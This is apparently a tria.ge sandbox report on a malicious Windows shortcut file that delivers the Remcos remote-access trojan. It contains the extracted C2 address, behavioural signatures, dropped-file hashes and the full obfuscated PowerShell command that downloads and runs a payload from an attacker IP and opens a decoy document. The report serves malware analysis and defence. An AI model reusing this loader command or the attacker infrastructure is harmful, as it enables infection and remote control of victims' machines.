Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
149s -
max time network
141s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
31/08/2024, 01:58
Static task
static1
Behavioral task
behavioral1
Sample
cb43e05491b09d4c7da14d3f42d11a2bb4fa81b0fb47717d44c75426832cdf30.lnk
Resource
win7-20240708-en
General
-
Target
cb43e05491b09d4c7da14d3f42d11a2bb4fa81b0fb47717d44c75426832cdf30.lnk
-
Size
47KB
-
MD5
8b3dc64090b0b26eda4f1195f493160d
-
SHA1
bd0b4c1d9e8b84465714287727ba5293f9a8eb61
-
SHA256
cb43e05491b09d4c7da14d3f42d11a2bb4fa81b0fb47717d44c75426832cdf30
-
SHA512
ddbe1ad300d613531b6ffcb9a8ff607b1e6e7cf676ce738c31d138e6154ff0ee3c1b8d4d8b67c8fec5da444c845b62475736c228eb89d3b013a3ddcb15365deb
-
SSDEEP
48:88muavUQSbXTo87Cj3YMEDo/FoZaxCogDDo/LX7LdCZZGXu/dZZIa7x:88y8Nkgm3hX+UxCgLX7BuqQ
Malware Config
Extracted
remcos
feetfuck
83.222.191.201:24251
-
audio_folder
MicRecords
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
remcos.exe
-
copy_folder
Remcos
-
delete_file
false
-
hide_file
false
-
hide_keylog_file
false
-
install_flag
false
-
keylog_crypt
false
-
keylog_file
logs.dat
-
keylog_flag
false
-
keylog_folder
remcos
-
mouse_option
false
-
mutex
Rmc-XTJ1YO
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
-
take_screenshot_option
false
-
take_screenshot_time
5
Signatures
-
Blocklisted process makes network request 1 IoCs
flow pid Process 6 3532 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Control Panel\International\Geo\Nation cmd.exe -
Executes dropped EXE 2 IoCs
pid Process 3652 Newfts.exe 2244 Newfts.exe -
Loads dropped DLL 8 IoCs
pid Process 3652 Newfts.exe 3652 Newfts.exe 3652 Newfts.exe 3652 Newfts.exe 2244 Newfts.exe 2244 Newfts.exe 2244 Newfts.exe 2244 Newfts.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 2244 set thread context of 5100 2244 Newfts.exe 94 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Newfts.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Newfts.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language explorer.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000_Classes\Local Settings powershell.exe -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 3780 WINWORD.EXE 3780 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 3532 powershell.exe 3532 powershell.exe 3652 Newfts.exe 2244 Newfts.exe 2244 Newfts.exe 5100 cmd.exe 5100 cmd.exe -
Suspicious behavior: MapViewOfSection 2 IoCs
pid Process 2244 Newfts.exe 5100 cmd.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3532 powershell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
pid Process 3780 WINWORD.EXE 3780 WINWORD.EXE 3780 WINWORD.EXE 3780 WINWORD.EXE 3780 WINWORD.EXE 3780 WINWORD.EXE 3780 WINWORD.EXE -
Suspicious use of WriteProcessMemory 19 IoCs
description pid Process procid_target PID 3048 wrote to memory of 3532 3048 cmd.exe 87 PID 3048 wrote to memory of 3532 3048 cmd.exe 87 PID 3532 wrote to memory of 3652 3532 powershell.exe 91 PID 3532 wrote to memory of 3652 3532 powershell.exe 91 PID 3532 wrote to memory of 3652 3532 powershell.exe 91 PID 3532 wrote to memory of 3780 3532 powershell.exe 93 PID 3532 wrote to memory of 3780 3532 powershell.exe 93 PID 3652 wrote to memory of 2244 3652 Newfts.exe 92 PID 3652 wrote to memory of 2244 3652 Newfts.exe 92 PID 3652 wrote to memory of 2244 3652 Newfts.exe 92 PID 2244 wrote to memory of 5100 2244 Newfts.exe 94 PID 2244 wrote to memory of 5100 2244 Newfts.exe 94 PID 2244 wrote to memory of 5100 2244 Newfts.exe 94 PID 2244 wrote to memory of 5100 2244 Newfts.exe 94 PID 5100 wrote to memory of 4564 5100 cmd.exe 108 PID 5100 wrote to memory of 4564 5100 cmd.exe 108 PID 5100 wrote to memory of 4564 5100 cmd.exe 108 PID 5100 wrote to memory of 4564 5100 cmd.exe 108 PID 5100 wrote to memory of 4564 5100 cmd.exe 108
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\cb43e05491b09d4c7da14d3f42d11a2bb4fa81b0fb47717d44c75426832cdf30.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3048 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -win 1 echo QMwlXCkteAQTQqnkaJqrUqs; echo QvYiYqvrrHquSStJfMRfSfWhN; echo bbOXmbTScxuUqnRAgrxICMaBVDaWjzRzRVcfkbymVEadrSAtp; if (-not(Test-Path 'signalmessenger.zip' -PathType Leaf)){&(G''et-C''om''ma''nd in???e-webr**) -uri h''t''tp:''//''83''.''22''2''.''1''91''.''20''1/signalmessenger.zip -OutFile signalmessenger.zip}; echo smmOpvMyMQBsjhmNQati; Expand-Archive -Path signalmessenger.zip -DestinationPath SecurityCheck; s''tar''t SecurityCheck/Newfts.exe; echo XmLObXLAbAaEvFXwLygA; &(Ge''t-Com''ma''nd in???e-webre***) -uri h''t''tp:''//''83''.''22''2''.''1''91''.''20''1/racs/brt_1_0147.doc -OutFile brt_1_0147.doc; echo jKSqGTomhhZFxOMFkLZBsdHuhOCDBrMzMONLWouYJOCxTyelGMtYZGs; s''t''a''rt brt_1_0147.doc2⤵
- Blocklisted process makes network request
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3532 -
C:\Users\Admin\AppData\Roaming\SecurityCheck\Newfts.exe"C:\Users\Admin\AppData\Roaming\SecurityCheck\Newfts.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3652 -
C:\Users\Admin\AppData\Roaming\localUltra_Zfv4\Newfts.exeC:\Users\Admin\AppData\Roaming\localUltra_Zfv4\Newfts.exe4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2244 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\SysWOW64\cmd.exe5⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:5100 -
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe6⤵
- System Location Discovery: System Language Discovery
PID:4564
-
-
-
-
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Roaming\brt_1_0147.doc" /o ""3⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3780
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
262KB
MD551d32ee5bc7ab811041f799652d26e04
SHA1412193006aa3ef19e0a57e16acf86b830993024a
SHA2566230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97
SHA5125fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
1.2MB
MD5df1a53c07d4a9f7de1a6cc0684273c57
SHA1a20ce1430eb68dbcb484bcdf15955aaa6d055560
SHA256f9c659e162f95d4ebc62ed590f09a50edffcacb92697fbe376a14ecc2766e545
SHA512038c0d660c4e581d65b7c8abe4b3f19c43d8b9215957996625f6be415b91f6d3bfc05287882853125c760ba83b140a436d59faa27d08c8d55a9a10996cff5813
-
Filesize
425B
MD53bf1f6f3f55328b484716206a48dcedb
SHA11144cd7c52db97772fd0572fc70f550e33142ff3
SHA256cd04b9e32c90deac96a31969d7ade436a6b43773ab08a1c4dc680192c107b0e4
SHA512a26c75e7a478dcc42213407a79df27cb1df854476224868975d3d480f6a900c8be3f0b542f83fc665c4a0389fa8fd4b0f91be99c8477c4cf5b3a6a06622d37e1
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms
Filesize4KB
MD5092c012786d913ff3f4d19c04e9cbef9
SHA12723551e6bdc4631f8d51c07a515161a79d252de
SHA256f1d11beaea7bcc04d690bf37bc694aefd6fb619fdfd7df66e21866460aeea4ae
SHA512589bbe0542b48b1dd337e9fb5bc1c1e62394af4638a1256c0d63dfee17cdaa7da5d9989b87a41e39a1c563d830eea74d96b112b645558dbfa4fccbd5ac433e45
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms
Filesize3KB
MD502af4f23f97dc0f280c2ba7a58a0413d
SHA170f59db909c0c2188b0252af7ffb28ec4e307ad1
SHA256e2c375cafd276bf967cd0a2cfe441d49afc28d2cf0cb642ab1742b044bab3d39
SHA5124a978d73d1ac1e84470af5b8aa302d377c5de6269248a49db592c42b56e70ed975ddd35972f88720e2b46845553d2b3c71a50dd91623bed86b8db77731329a81
-
Filesize
2.1MB
MD5db7e67835fce6cf9889f0f68ca9c29a9
SHA15565afda37006a66f0e4546105be60bbe7970616
SHA256dbd3057a58fd3407c95418bc5d9c253adc8c658ee338f22d58374ed3ea37b738
SHA512bc2714bb408715e5e1cec1337b831e26dbda208183955a07ec8653a38c9c0f25f60f333a154b738927ce085e7bbff438963b941a6c2773b3e7325cd900e7651b
-
Filesize
1.1MB
MD559c15c71fd599ff745a862d0b8932919
SHA18384f88b4cac4694cf510ca0d3f867fd83cc9e18
SHA256c4ed07ad748661ce776ac6ebb4f8bef7619586bfb4443ce58c92d4b889f3d5c2
SHA512be3425d55dcaa361bc8481b87b2086454baca79a3c948de9acf9ef7d3084d6d987c328d665b45dfcd0510e2c97c980aa63d7cd669fe9fc1a67983c325593481e
-
Filesize
1.4MB
MD56fdb2e9ca6b7a5ad510e2b29831e3bc8
SHA14a14ee9d5660eb271a6b5f18a55ac3e05f952c68
SHA256f510c85b98fa6fe8d30133114a34b7f77884aa58e57a0561722eeb157dc98a38
SHA512d5248dd902d862afa060ab829fc3a39dccc26dab37737e14a3f9b90b1d3f900b3bf5821f450502a2124016acf0e84bd8979758827a92741f879b2fa4addfda06
-
Filesize
31KB
MD55dc69a3e2fda6cb740f363ef77edcc13
SHA1c177fabf17346531e07d562be11915bf2822148a
SHA2567c24abda04537749bfb1b2d2aa57a7c9261f41012435269347f7eb2d05f71621
SHA512b32848b6eded965245b759be1b72b6fc81acb4002eceae96004e88e549e21eb6eb1ceb3e51f6249d7dfb739f31223e623f7c525f677939bc935d2f6bffb50a9f
-
Filesize
1.0MB
MD5471076308d78944d45ab35d37134134a
SHA105cf2cf6e5d11ce10425b14d68cda3246cc47263
SHA25638d10ba2f4411eba8351d5b3fed74ca46bf856569dca757d055eb49d8471e11b
SHA5127f140546ceda85d3c178a61689a0743c75623b7d1e2dcc3e2d29128d7e13d9671cdb660ca46312dbd8ff3d63c12836caf1a6a54c074d66bed269184044bdd9c3
-
Filesize
47KB
MD52616f33bfc84fecd6496c0e3bfbfb1b0
SHA1e4f4fba392ba4a245415729a82aaa486ca31b2ba
SHA25624fbc1c09ca302ed51429082130f7789d36c254c0fb165dd96c3f24b458536a4
SHA512b5c585d7bbdce5e5c34447a311ccdb5b90e34cfd29671f2ebb05f01941e81ae7bcffbd42f5ed476e784684de70cb0fb67cedfd7e62c4c3b5cbe151fc6923dafb